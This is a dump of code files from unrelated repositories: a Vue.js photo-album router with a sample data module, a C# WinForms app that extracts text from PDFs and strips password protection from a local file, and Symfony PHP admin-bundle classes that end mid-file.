<file_sep>import VueRouter from 'vue-router'; import Home from './components/Home.vue'; import About from './components/About.vue'; import Albums from './components/Albums.vue'; import AddAlbum from './components/AddAlbum.vue'; import AlbumDetail from './components/AlbumDetail.vue'; import ThumbnailViewer from './components/ThumbnailViewer.vue'; import GalleryViewer from './components/GalleryViewer.vue'; import ListViewer from './components/ListViewer.vue'; import NewImage from './components/NewImage.vue'; export default new VueRouter({ routes: [ { path: '/', component: Home }, { path: '/about', component: About }, { path: '/albums', component: Albums }, { path: '/albums/:id', component: AlbumDetail, children: [ { path: 'thumbnail', component: ThumbnailViewer }, { path: 'gallery', component: GalleryViewer }, { path: 'list', component: ListViewer }, { path: 'new', component: NewImage }, { path: '', redirect: 'thumbnail' } ] }, { path: '/addalbum', component: AddAlbum }, { path: '*', redirect: '/' } ] });<file_sep>import shortid from 'shortid'; const albums = [ { id: shortid.generate(), title: 'Tiny Cat', description: 'I\'m Tiny Cat, look at me cat', images: [ { id: shortid.generate(), title: 'Yawns', description: 'Tiny Cat is sleepy.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/1540366_838889186129687_5309179525922601077_o.jpg?_nc_cat=0&oh=2595b8b1e810bddd5cd3c8d81e3a2c4a&oe=5BFE0394' }, { id: shortid.generate(), title: 'Boxes', description: 'Tiny Cat like boxes.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/10923724_919022371449701_2378059482043996112_o.jpg?_nc_cat=0&oh=76b8bf627b393391e77ca56f9f78cf78&oe=5BFC7D87' }, { id: shortid.generate(), title: 'Christmas', description: 'Tiny Cat is not a fan of Christmas.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/10623731_919022434783028_7347850655707964729_o.jpg?_nc_cat=0&oh=3d0c8b0608452820f1a30a8898f60de6&oe=5C34D44C' } ] }, { id: shortid.generate(), title: 'Chicken', description: 'I\'m a pumpkin!', images: [ { id: shortid.generate(), title: 'Bills Bills Bills', description: 'Chicken\'s making paper.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/1556411_710534792298461_450229310_o.jpg?_nc_cat=0&oh=08f24c712a2644e50b7df2e2526220c9&oe=5BF6368E' }, { id: shortid.generate(), title: 'Naps', description: 'Napping on a chair.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/1957665_755083397843600_888340312_o.jpg?_nc_cat=0&oh=ec62aa8568a7e978122f2536b879f239&oe=5C3525B7' }, { id: shortid.generate(), title: 'Pillow Cat', description: 'Chicken being cute.', url: 'https://scontent-sjc3-1.xx.fbcdn.net/v/t31.0-8/10382231_794572627228010_293887946014670969_o.jpg?_nc_cat=0&oh=1ad6752b790fe3264b1de0f477b93a41&oe=5BEF3F3E' } ] } ]; export default { getAlbums() { return albums; }, getAlbum(id) { return albums.find(album => album.id === id); }, postAlbum(album) { album.id = shortid.generate(); albums.push(album); return album; }, postImage(image, id) { image.id = shortid.generate(); let album = this.getAlbum(id); album.images.push(image); return image; } };
4b0db18be9ced9d29f8e5c60cf907b487a4ff091
[ "JavaScript" ]
2
JavaScript
stephaniesmith/gallery-TA
c22aa0ce0966cd462d1008ac3457f1266cd02646
50b55be0598f2b858f62819ccb6d93761343d366
refs/heads/master
<file_sep>using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.IO; using System.Linq; using System.Text; using System.Windows.Forms; using iTextSharp.text.pdf; using iTextSharp.text.pdf.parser; namespace PDF_To_Text { public partial class Form1 : Form { int pageCount = 1; public Form1() { InitializeComponent(); DecryptFile(); } public void ExtractTextFromPDFPage(string pdfFile, int pageNumber) { //PdfReader reader = new PdfReader(pdfFile); //PdfReader reader = new PdfReader(pdfFile, new System.Text.ASCIIEncoding().GetBytes("internet")); PdfReader reader = new PdfReader(pdfFile, new System.Text.UTF8Encoding().GetBytes("internet")); textBox1.Text += reader.PdfVersion; if (pageNumber==1) pageCount = reader.NumberOfPages; string text = PdfTextExtractor.GetTextFromPage(reader, pageNumber); try { reader.Close(); } catch { } this.richTextBox1.Text += text; } private void textBox1_KeyDown(object sender, KeyEventArgs e) { if (e.KeyData == Keys.Enter) { //C:\Users\User\Google Drive\<NAME>\2018 <NAME> yoxlamalar\20.11.2018\2018 Mart\1819020829557200-autogenerateddocument.pdf.pdf //C:\sample.pdf ExtractTextFromPDFPage("c:\\samplePassword.pdf", 1); ExtractTextFromPDFPage("c:\\sample-unlocked.pdf", 1); ExtractTextFromPDFPage("c:\\sample.pdf", 1); ExtractTextFromPDFPage("c:\\sample1.pdf", 1); ExtractTextFromPDFPage("c:\\sample2.pdf", 1); //for (int i = 1; i <= pageCount; i++) //{ // ExtractTextFromPDFPage(textBox1.Text, i); //} } } private void DecryptFile(string inputFile = "", string outputFile = "") { string WorkingFolder = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); string InputFile = "C:\\sample1.pdf";//Path.Combine(WorkingFolder, "test.pdf"); string OutputFile = "C:\\samplePassword.pdf";//Path.Combine(WorkingFolder, "test_dec.pdf");//will be created automatically //You must provide owner password but not the user password . inputFile = InputFile; outputFile = OutputFile; string password = @"<PASSWORD>"; // Your Key Here try { //PdfReader reader = new PdfReader(inputFile, new System.Text.ASCIIEncoding().GetBytes(password)); PdfReader reader = new PdfReader(inputFile, new System.Text.UTF8Encoding().GetBytes(password)); using (MemoryStream memoryStream = new MemoryStream()) { PdfStamper stamper = new PdfStamper(reader, memoryStream); stamper.Close(); reader.Close(); File.WriteAllBytes(outputFile, memoryStream.ToArray()); } } catch (Exception /*err*/) { //Console.WriteLine(err.Message); } } } }
d878e17e7d5d1000cfdf6b7636001252dcba38a1
[ "C#" ]
1
C#
RustamZakAs/PDF_To_Text
cac40eec2482a0ff66c9af50e39dadac4dad0312
8360602433597484b72c154fddccd154489a90fb
refs/heads/main
<file_sep>const pageTitle1 = "some amazing title"; const pageTitle2 = "Another Amazing Title"; const pageTitle3 = "A rEAlY weIrd TiTLE"; const pageTitle4 = ""; const capitalizeWord = (str: string) => { const firstChar = str.charAt(0).toLocaleUpperCase(); const restOfStr = str.substring(1).toLocaleLowerCase(); return `${firstChar}${restOfStr}`; }; const capitalizeEachWord = (str: string) => str .split(" ") .map((word: string) => capitalizeWord(word)) .join(" "); capitalizeEachWord(pageTitle1); //? capitalizeEachWord(pageTitle2); //? capitalizeEachWord(pageTitle3); //? capitalizeEachWord(pageTitle4); //? <file_sep># TypeScript 4 Source Code > This repo provides the source code for [Introduction to TypeScript Course](https://www.udemy.com/course/introduction-typescript-development/)
5e37f2133f73b1829c3c3fad18f1d8de1a77e03b
[ "Markdown", "TypeScript" ]
2
TypeScript
jordanhudgens/typescript-4-course
8e2ddf4a4aa7a36e42d9286cd90d3d6b553120fb
fea73e26d88300f13d785cc3ce32c9342b77c8bd
refs/heads/master
<repo_name>adamaharony/Neville-Interpolation<file_sep>/generate_plots.py import numpy as np from matplotlib import pyplot as plt from main import neville, lagrange def plot(x_data, y_data, index=0): """ Generates an 'eps' file of the data points. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param index: index of the plot """ plt.figure(figsize=(8, 3)) plt.grid() plt.plot(x_data, y_data, "o", label="Data", color=(0, 0.52734375, 0.94921875, 1)) plt.savefig(f"plots/plot/{str(index)}.eps", format="eps") plt.show() def plot_and_test(x_data, y_data, index=0): """ Generates an 'eps' file of the data points and the Neville interpolation polynomial. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param index: index of the plot """ x_arr = np.linspace(x_data[0] - 0.25, x_data[len(x_data) - 1] + 0.25, 10000) y_fit, Q_arr = neville(x_data, y_data, x_arr) plt.figure(figsize=(8, 3)) plt.grid() plt.plot(x_arr, y_fit, "--", label="Fit", color=(0.9765625, 0.2265625, 0.4765625, 1), linewidth=3) plt.plot(x_data, y_data, "o", label="Data", color=(0, 0.52734375, 0.94921875, 1)) plt.legend() plt.savefig(f"plots/test/{str(index)}.eps", format="eps") plt.show() def plot_and_compare(x_data, y_data, index=0): """ Generates an 'eps' file of the data points and compares the Neville interpolation polynomial with Lagrange and np.polyfit. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param index: index of the plot """ x_arr = np.linspace(x_data[0] - 0.25, x_data[len(x_data) - 1] + 0.25, 10000) y_fit_neville, Q_arr = neville(x_data, y_data, x_arr) P = np.polyfit(x_data, y_data, x_data.size - 1) y_fit_polyfit = np.polyval(P, x_arr) y_fit_lagrange = lagrange(x_data, y_data, x_arr) plt.figure(figsize=(8, 3)) plt.grid() plt.plot(x_arr, y_fit_neville, "--", label="Neville", color=(0.9765625, 0.2265625, 0.4765625, 1), linewidth=3) plt.plot(x_arr, y_fit_polyfit, label="np.polyfit") plt.plot(x_arr, y_fit_lagrange, label="Lagrange") plt.plot(x_data, y_data, "o", label="Data", color=(0, 0.52734375, 0.94921875, 1)) plt.legend() plt.show() <file_sep>/README.md # Neville-Interpolation This project by me and @Maorva as part of an HIT course in "Numerical Analysis", in the 2021 Autumn semester <file_sep>/compare.py import numpy as np from generate_plots import plot_and_compare x_data1 = np.array([0.25, 0.5, 0.75, 1, 1.25]) y_data1 = np.array([0.5, 0.75, 0.6, 0.8, 1.1]) plot_and_compare(x_data1, y_data1, 1) # _________________________________________________ x_data2 = np.array([1.6, 2, 2.5, 3.2, 4, 4.5]) y_data2 = np.array([2, 8, 14, 15, 8, 2]) plot_and_compare(x_data2, y_data2, 2) # _________________________________________________ x_data3 = np.array([2, 2.75, 4]) y_data3 = np.array([1 / 2, 4 / 11, 1 / 4]) plot_and_compare(x_data3, y_data3, 3) # _________________________________________________ x_data4 = np.array([2, 3, 4, 7, 13]) y_data4 = np.array([10, -1, 2, 3, -3]) plot_and_compare(x_data4, y_data4, 4) # _________________________________________________ x_data5 = np.array([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) y_data5 = np.array([31.5, 19.8, 10.9, 4.64, 1.09, 0, 0.89, 3.04, 5.49, 7.04, 6.25]) plot_and_compare(x_data5, y_data5, 5) # _________________________________________________ x_data6 = np.array([-5, -4, -3, -2, -1, 0, 1, 2, 3, 4, 5]) y_data6 = np.array([0.0384, 0.0588, 0.1, 0.2, 0.5, 1, 0.5, 0.2, 0.1, 0.0855, 0.0384]) plot_and_compare(x_data6, y_data6, 6) <file_sep>/main.py import numpy as np def neville_point(x_data, y_data, x_0): """ Interpolates around a point using Neville's method. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param x_0: x value to interpolate :return: :returns y_fit: interpolated y value :returns Q: Coefficient matrix """ n = x_data.size # Initialising coeff matrix Q = np.zeros((n, n - 1)) Q = np.concatenate((y_data[:, None], Q), axis=1) # Inserting 'y_data' as first column # Building coeff matrix: for i in range(1, n): for j in range(1, i + 1): Q[i, j] = ((x_0 - x_data[i - j]) * Q[i, j - 1] - (x_0 - x_data[i]) * Q[i - 1, j - 1]) / (x_data[i] - x_data[i - j]) y_fit = Q[n - 1, n - 1] return (y_fit, Q) def neville(x_data, y_data, x_arr): """ Interpolates an entire array using Neville's method. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param x_0: numpy.ndarray of x values to interpolate :return: :y_fit: numpy.ndarray of interpolated y values :Q_arr: Array of coefficient matrices """ n = x_arr.size Q_arr = np.ndarray((x_data.size, y_data.size, n)) y_fit = np.ndarray(n) for i in range(n): y, Q = neville_point(x_data, y_data, x_arr[i]) y_fit[i] = y Q_arr[:, :, i] = Q # Adding the coeff matrix to an array of coeff matrices return y_fit, Q_arr def lagrange_point(x_data, y_data, x_0): """ Interpolates around a point using Lagrange's method. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param x_0: x value to interpolate :returns y_fit: interpolated y value """ n = x_data.size y_fit = 0 for i in range(0, n): p = y_data[i] for j in range(0, n): if i != j: p = p * (x_0 - x_data[j]) / (x_data[i] - x_data[j]) y_fit += p return y_fit def lagrange(x_data, y_data, x_arr): """ Interpolates an entire array using Lagrange's method. :param x_data: numpy.ndarray of x values :param y_data: numpy.ndarray of y values :param x_0: numpy.ndarray of x values to interpolate :return y_fit: numpy.ndarray of interpolated y values """ n = x_arr.size y_fit = np.ndarray(n) for i in range(n): y = lagrange_point(x_data, y_data, x_arr[i]) y_fit[i] = y return y_fit
8b6f20d52daacbba93c4a3ede970ec7874d07f01
[ "Markdown", "Python" ]
4
Python
adamaharony/Neville-Interpolation
6a1afba6b72ebc74b7ac3d04139ad528c1fed9e8
2e019e7a58e43024b513854320df3c2a8e604a1d
refs/heads/master
<repo_name>Stakhyr/ProjectsTool<file_sep>/ProjectsTool/Repositories/Realization/EmployeeRepository.cs using ProjectsTool.Entities; using ProjectsTool.Repositories.Interfaces; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Repositories.Realization { public class EmployeeRepository : DBRepository<EmployeeEntity>, IEmpoyeeRepository { public EmployeeRepository(DataContext context) : base(context) { } public IEnumerable<EmployeeEntity> AssignEmployeeToProject(int Id) { throw new NotImplementedException(); } public IEnumerable<EmployeeEntity> GetEmployeeProject(int Id) { throw new NotImplementedException(); } public IEnumerable<EmployeeEntity> RemoveEmployeeFromProject(int Id) { throw new NotImplementedException(); } } } <file_sep>/ProjectsTool/Repositories/Interfaces/IEmpoyeeRepository.cs using ProjectsTool.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Repositories.Interfaces { public interface IEmpoyeeRepository:IDbRepository<EmployeeEntity> { IEnumerable<EmployeeEntity> GetEmployeeProject(int Id); IEnumerable<EmployeeEntity>RemoveEmployeeFromProject(int Id); IEnumerable<EmployeeEntity> AssignEmployeeToProject(int Id); } } <file_sep>/ProjectsTool/DataContext.cs using Microsoft.EntityFrameworkCore; using ProjectsTool.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool { public class DataContext:DbContext { public DbSet<EmployeeEntity> Employees { get; set; } public DbSet<ProjectsEntity> Projects { get; set; } public DataContext(DbContextOptions<DataContext> options): base(options) { } } } <file_sep>/ProjectsTool/Entities/BaseEntity.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Entities { public class BaseEntity : IEntity { public Guid Id { get; set; } public bool IsActive { get; set; } = true; public DateTime DataCreated { get; set; } = DateTime.Now; public DateTime? DateUpdated { get; set; } public Guid? UserCreated { get; set; } public Guid? UserUpdated { get; set; } } } <file_sep>/ProjectsTool/Repositories/Realization/DBRepository.cs using Microsoft.EntityFrameworkCore; using System; using System.Collections.Generic; using System.Linq; using System.Linq.Expressions; using System.Threading.Tasks; namespace ProjectsTool.Repositories.Realization { public class DBRepository<TEntity> : IDbRepository<TEntity> where TEntity : class { protected readonly DbContext Context; public DBRepository(DbContext context) { Context = context; } public void Add(TEntity entity) { Context.Set<TEntity>().Add(entity); } public void AddRange(IEnumerable<TEntity> entities) { Context.Set<TEntity>().AddRange(entities); } public void Delete(TEntity entity) { //var activeEntity = Context.Set<TEntity>().FirstOrDefault(x => x. == Id); throw new NotImplementedException(); } public IEnumerable<TEntity> Find(Expression<Func<TEntity, bool>> predicate) { return Context.Set<TEntity>().Where(predicate); } public TEntity Get(int id) { return Context.Set<TEntity>().Find(id); } public IEnumerable<TEntity> GetAll() { return Context.Set<TEntity>().ToList(); } public void Remove(TEntity entity) { Context.Set<TEntity>().Remove(entity); } public void RemoveRange(IEnumerable<TEntity> entities) { Context.Set<TEntity>().RemoveRange(entities); } public void Update(TEntity entity) { Context.Set<TEntity>().Update(entity); } public void UpdateRange(IEnumerable<TEntity> entities) { Context.Set<TEntity>().UpdateRange(entities); } } } <file_sep>/ProjectsTool/Entities/IEntity.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Entities { public interface IEntity { Guid Id { get; set; } bool IsActive { get; set; } DateTime DataCreated { get; set; } DateTime? DateUpdated { get; set; } Guid? UserCreated { get;set; } Guid? UserUpdated { get; set; } } } <file_sep>/ProjectsTool/Entities/EmployeeEntity.cs using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Entities { public class EmployeeEntity :BaseEntity { public string FullName { get; set; } public string WorkPosition { get; set; } } } <file_sep>/ProjectsTool/Repositories/Interfaces/IProjectRepository.cs using ProjectsTool.Entities; using System; using System.Collections.Generic; using System.Linq; using System.Threading.Tasks; namespace ProjectsTool.Repositories.Interfaces { public interface IProjectRepository : IDbRepository<ProjectsEntity> { IEnumerable<ProjectsEntity> GetDaysCountBeforeRelise(int id); } }
60ef7a4fc45d82cc8e021e8de51fc74733872b0d
[ "C#" ]
8
C#
Stakhyr/ProjectsTool
a0b31d05a724b1775c895cbfa392a61ec96c2340
45a0585850d04650bbe0201a0e1cbfb030d214ff
refs/heads/main
<file_sep># Speech_to_Text_recognition written in Python,uses Google API to translate media file in .wav and extract text from it <file_sep># -*- coding: utf-8 -*- import speech_recognition as sr AUDIO_FILE = ("Manyampuli.wav") #use AUDIO_FILE as source r = sr.Recognizer() #initialise the recognizer with sr.AudioFile(AUDIO_FILE) as source: #recogniser identifies the source audio = r.record(source) #reads the source #records the audio file inputed try: print("audiofile contains :",r.recognize_google(audio)) except sr.UnknownValueError: print("Google speech recognition could not understand audio") except sr.RequestError: print("Couldn't get the results from google Speech Recognition")
4dc131dbf1c8559d6090202a6864a8019f13b1de
[ "Markdown", "Python" ]
2
Markdown
Gowtham-369/Speech_to_Text_recognition
e3a32bc4d9c13d51c017f46eb99f65f37d9046ab
9ee591771d765fae8a1969befea866799f20a213
refs/heads/master
<file_sep>#!/usr/bin/env python # coding: utf-8 from urllib.request import urlopen import json import happybase import pandas as pd import plotly.express as px import matplotlib.pyplot as plt from matplotlib.pyplot import figure import datetime import plotly.graph_objs as go connection = happybase.Connection(host='localhost', port=9090, autoconnect=True) table = connection.table('USCovid19CasesByDate') cases = pd.DataFrame(columns=['Cases', 'Deaths', 'Date', 'State']) for key, value in table.scan(row_prefix=b''): nbrCases = int.from_bytes(value[b'NbrStatic:nbrCases'], byteorder='big') nbrDeaths = int.from_bytes(value[b'NbrStatic:nbrDeaths'], byteorder='big') dtTracked = value[b'StateInfo:dtTracked'].decode('utf-8') state = value[b'StateInfo:state'].decode('utf-8') cases = cases.append({'Cases':nbrCases,'Deaths':nbrDeaths,'Date':dtTracked,'State':state},ignore_index=True) state_cases = cases[['State', 'Cases', 'Date','Deaths']].groupby(['State','Date'])['Cases', 'Deaths'].max().reset_index(); state_cases["Date"] = "US" fig = px.treemap(state_cases, path=['Date','State'], values='Cases', color='Deaths', hover_data=['State'], color_continuous_scale='matter') fig.show() #chart2 f = plt.figure(figsize=(15,10)) f.add_subplot(111) plt.axes(axisbelow=True) plt.barh(cases.groupby(["State"]).sum().sort_values('Cases')["Cases"].index[-10:], cases.groupby(["State"]).sum().sort_values('Cases')["Cases"].values[-10:],color="cyan") plt.tick_params(size=3,labelsize = 13) plt.xlabel("Confirmed Cases",fontsize=18) plt.title("Top 10 Counties: USA (Confirmed Cases)",fontsize=20) plt.grid(True) plt.savefig('Top 10 Counties_USA (Confirmed Cases).png') <file_sep>package kafka.producer.api; import java.util.List; import java.util.concurrent.ExecutionException; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.core.env.Environment; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.kafka.core.KafkaTemplate; import org.springframework.kafka.support.SendResult; import org.springframework.util.concurrent.ListenableFuture; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; import org.springframework.web.bind.annotation.RestController; import com.google.gson.Gson; @RestController public class KafkaProducerController { @Autowired private KafkaTemplate<String, String> kafkaTemplate; @Autowired private Environment env; @Autowired private Gson gson; @PostMapping("/kafka/produce") public ResponseEntity<String> postModelToKafka(@RequestBody List<CovidCaseRecordLine> records) throws InterruptedException, ExecutionException { ListenableFuture<SendResult<String, String>> result = kafkaTemplate.send(env.getProperty("spring.kafka.topic"), gson.toJson(records)); return new ResponseEntity<>(result.get().getProducerRecord().value(), HttpStatus.OK); } } <file_sep>package kafka.producer.api; public class CovidCaseRecordLine { private String dtTracked; private String state; private String county; private int fipCode; private int nbrCases; private int nbrDeaths; public String getDtTracked() { return dtTracked; } public void setDtTracked(String dtTracked) { this.dtTracked = dtTracked; } public String getState() { return state; } public void setState(String state) { this.state = state; } public String getCounty() { return county; } public void setCounty(String county) { this.county = county; } public int getFipCode() { return fipCode; } public void setFipCode(int fipCode) { this.fipCode = fipCode; } public int getNbrCases() { return nbrCases; } public void setNbrCases(int nbrCases) { this.nbrCases = nbrCases; } public int getNbrDeaths() { return nbrDeaths; } public void setNbrDeaths(int nbrDeaths) { this.nbrDeaths = nbrDeaths; } @Override public String toString() { return "CovidCaseRecordLine [state=" + state + ", county=" + county + ", fipsCode=" + fipCode + ", nbrCases=" + nbrCases + ", nbrDeaths=" + nbrDeaths + "]"; } } <file_sep>package cs523.model; import java.io.Serializable; import cs523.model.Covid19Row.Covid19RowBuilder; public class SumCasesByDateRow implements Serializable{ private static final long serialVersionUID = 1L; private String dtTracked; private String state; private long nbrCases; private long nbrDeaths; public SumCasesByDateRow() {} public String getDtTracked() { return dtTracked; } public void setDtTracked(String dtTracked) { this.dtTracked = dtTracked; } public String getState() { return state; } public void setState(String state) { this.state = state; } public long getNbrCases() { return nbrCases; } public void setNbrCases(long nbrCases) { this.nbrCases = nbrCases; } public long getNbrDeaths() { return nbrDeaths; } public void setNbrDeaths(long nbrDeaths) { this.nbrDeaths = nbrDeaths; } public Covid19Row toCovid19Row() { System.out.println(toString()); return new Covid19RowBuilder() .dtTracked(this.dtTracked) .state(this.state) .nbrCases(this.nbrCases) .nbrDeaths(this.nbrDeaths) .build(); } @Override public String toString() { return "SumCasesByDateRow [dtTracked=" + dtTracked + ", state=" + state + ", nbrCases=" + nbrCases + ", nbrDeaths=" + nbrDeaths + "]"; } } <file_sep><project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> <modelVersion>4.0.0</modelVersion> <groupId>Kafka-Spark-Streaming</groupId> <artifactId>Kafka-Spark-Streaming</artifactId> <version>3.0.0</version> <name>Kafka-Spark-Streaming</name> <description>Kafka-Spark-Streaming</description> <properties> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <maven.compiler.source>1.8</maven.compiler.source> <maven.compiler.target>1.8</maven.compiler.target> <scala.version>2.12.10</scala.version> <scala.binary.version>2.12</scala.binary.version> </properties> <dependencies> <dependency> <groupId>org.spark-project.spark</groupId> <artifactId>unused</artifactId> <version>1.0.0</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-core_${scala.binary.version}</artifactId> <version>${project.version}</version> <scope>provided</scope> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-streaming_${scala.binary.version}</artifactId> <version>${project.version}</version> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-streaming-kafka-0-10_${scala.binary.version}</artifactId> <version>${project.version}</version> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql-kafka-0-10_${scala.binary.version}</artifactId> <version>${project.version}</version> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.apache.spark</groupId> <artifactId>spark-sql_${scala.binary.version}</artifactId> <version>${project.version}</version> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-math3</artifactId> <version>3.4.1</version> <!-- <scope>provided</scope> --> </dependency> <dependency> <groupId>org.scala-lang</groupId> <artifactId>scala-library</artifactId> <scope>provided</scope> <version>${scala.version}</version> </dependency> <dependency> <groupId>org.apache.kafka</groupId> <artifactId>kafka-log4j-appender</artifactId> <version>1.0.0</version> </dependency> <dependency> <groupId>com.google.code.gson</groupId> <artifactId>gson</artifactId> <version>2.8.6</version> </dependency> </dependencies> <pluginRepositories> <pluginRepository> <id>central</id> <name>Central Repository</name> <url>https://repo.maven.apache.org/maven2</url> <layout>default</layout> <snapshots> <enabled>false</enabled> </snapshots> <releases> <updatePolicy>never</updatePolicy> </releases> </pluginRepository> </pluginRepositories> <repositories> <repository> <id>central</id> <name>Central Repository</name> <url>https://repo.maven.apache.org/maven2</url> <layout>default</layout> <snapshots> <enabled>false</enabled> </snapshots> </repository> <repository> <id>lib</id> <url>file:${project.basedir}/lib</url> </repository> </repositories> <build> <resources> <resource> <directory>resources</directory> </resource> </resources> <plugins> <plugin> <artifactId>maven-dependency-plugin</artifactId> <executions> <execution> <id>copy-dependencies</id> <phase>prepare-package</phase> <goals> <goal>copy-dependencies</goal> </goals> <configuration> <outputDirectory>${project.build.directory}/lib</outputDirectory> </configuration> </execution> </executions> </plugin> <plugin> <artifactId>maven-jar-plugin</artifactId> <configuration> <archive> <manifest> <addClasspath>true</addClasspath> <classpathPrefix>lib/</classpathPrefix> <mainClass>cs523.kafka.KafkaConsumer</mainClass> </manifest> </archive> </configuration> </plugin> <!-- <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <executions> <execution> <phase>package</phase> <goals> <goal>single</goal> </goals> </execution> </executions> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifest> <addClasspath>true</addClasspath> <classpathPrefix>lib/</classpathPrefix> <mainClass>cs523.kafka.KafkaConsumer</mainClass> </manifest> </archive> </configuration> </plugin> --> </plugins> </build> </project><file_sep>package cs523.config; public final class KafkaConfig { public static final String KAFKA_BROKERS = "192.168.0.147:9092"; public static final Integer MESSAGE_COUNT = 1000; public static final String CLIENT_ID = "client1"; public static final String TOPIC_NAME = "spark2-topic"; public static final String GROUP_ID_CONFIG = "cGroup1"; public static final Integer MAX_NO_MESSAGE_FOUND_COUNT = 100; public static final String OFFSET_RESET_LATEST = "latest"; public static final String OFFSET_RESET_EARLIER = "earliest"; public static final Integer MAX_POLL_RECORDS = 1; public static final Integer MESSAGE_SIZE = 20971520; } <file_sep>package cs523.model; public abstract class HRowKey { private byte[] rowKey; public HRowKey(byte[] rowKey) { this.rowKey = rowKey; } public byte[] getRowKey() { return rowKey; } } <file_sep>package cs523.config; import java.util.Arrays; import java.util.List; import org.apache.hadoop.hbase.TableName; public class HBaseTable { public static TableName FULL_TABLE_NAME = TableName.valueOf("USCovid19Cases"); public static TableName CASESBYDATE_TABLE_NAME = TableName.valueOf("USCovid19CasesByDate"); public static List<String> STATES = Arrays.asList("Washington","California","Virginia", "Texas", "New York"); //columns: state, county, flipCode, dtTracked public static String FML_COL_NOUPDATE = "StateInfo"; //columns: nbrCases, nbrDeaths public static String FML_COL_FREQ_UPDATE = "NbrStatic"; }
b5743d9c7e0b7913ba22825a8138701462a42488
[ "Java", "Python", "Maven POM" ]
8
Python
thehuynhdang/cs523bdt
a2b60c27034e429d254e33f0b2cbf7332d8fa529
03fbe1780ed5de788568ffa07bec7fc4b58c02d0
refs/heads/master
<file_sep><?php namespace Symbio\OrangeGate\DoctrineORMAdminBundle; use Symfony\Component\HttpKernel\Bundle\Bundle; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symbio\OrangeGate\DoctrineORMAdminBundle\DependencyInjection\Compiler\AddAuditEntityCompilerPass; class SymbioOrangeGateDoctrineORMAdminBundle extends Bundle { /** * {@inheritdoc} */ public function getParent() { return 'SonataDoctrineORMAdminBundle'; } /** * {@inheritdoc} */ public function build(ContainerBuilder $container) { $container->addCompilerPass(new AddAuditEntityCompilerPass()); }} <file_sep><?php /* * This file is part of the Sonata project. * * (c) <NAME> <<EMAIL>> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symbio\OrangeGate\DoctrineORMAdminBundle\DependencyInjection; use Symfony\Component\DependencyInjection\Definition; use Sonata\AdminBundle\DependencyInjection\AbstractSonataAdminExtension; use Symfony\Component\Config\Definition\Processor; use Symfony\Component\DependencyInjection\ContainerBuilder; use Symfony\Component\Config\FileLocator; use Symfony\Component\HttpKernel\DependencyInjection\Extension; use Symfony\Component\DependencyInjection\Loader; /** * SonataAdminBundleExtension * * @author <NAME> <<EMAIL>> * @author <NAME> <<EMAIL>> */ class SymbioOrangeGateDoctrineORMAdminExtension extends AbstractSonataAdminExtension { /** * * @param array $configs An array of configuration settings * @param ContainerBuilder $container A ContainerBuilder instance */ public function load(array $configs, ContainerBuilder $container) { $configs = $this->fixTemplatesConfiguration($configs, $container); $configuration = new Configuration(); $processor = new Processor(); $config = $processor->processConfiguration($configuration, $configs); $loader = new Loader\YamlFileLoader($container, new FileLocator(__DIR__ . '/../Resources/config')); $loader->load('doctrine_orm.yml'); } } <file_sep><?php namespace Symbio\OrangeGate\DoctrineORMAdminBundle\Builder; use Sonata\DoctrineORMAdminBundle\Builder\FormContractor as BaseFormContractor; class FormContractor extends BaseFormContractor { public function getDefaultOptions($type, \Sonata\AdminBundle\Admin\FieldDescriptionInterface $fieldDescription) { $options = array(); $options['sonata_field_description'] = $fieldDescription; if (in_array($type, array('sonata_type_model', 'sonata_type_model_list', 'orangegate_type_image', 'orangegate_type_file', 'sonata_type_model_hidden', 'sonata_type_model_autocomplete'))) { if ($fieldDescription->getOption('edit') == 'list') { throw new \LogicException('The ``sonata_type_model`` type does not accept an ``edit`` option anymore, please review the UPGRADE-2.1.md file from the SonataAdminBundle'); } $options['class'] = $fieldDescription->getTargetEntity(); $options['model_manager'] = $fieldDescription->getAdmin()->getModelManager(); if ($type == 